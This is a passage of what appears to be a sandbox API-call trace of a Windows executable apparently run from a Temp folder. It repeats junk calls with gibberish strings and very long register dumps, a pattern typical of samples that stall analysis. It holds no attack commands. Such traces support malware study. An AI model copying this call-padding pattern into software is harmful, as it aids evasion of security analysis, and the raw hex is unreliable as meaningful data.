[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.254] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.255] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.255] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.255] GetConsoleCP () returned 0x0
	[0066.255] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.255] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.256] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.256] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.256] GetConsoleCP () returned 0x0
	[0066.256] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.256] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.257] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.257] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.257] GetConsoleCP () returned 0x0
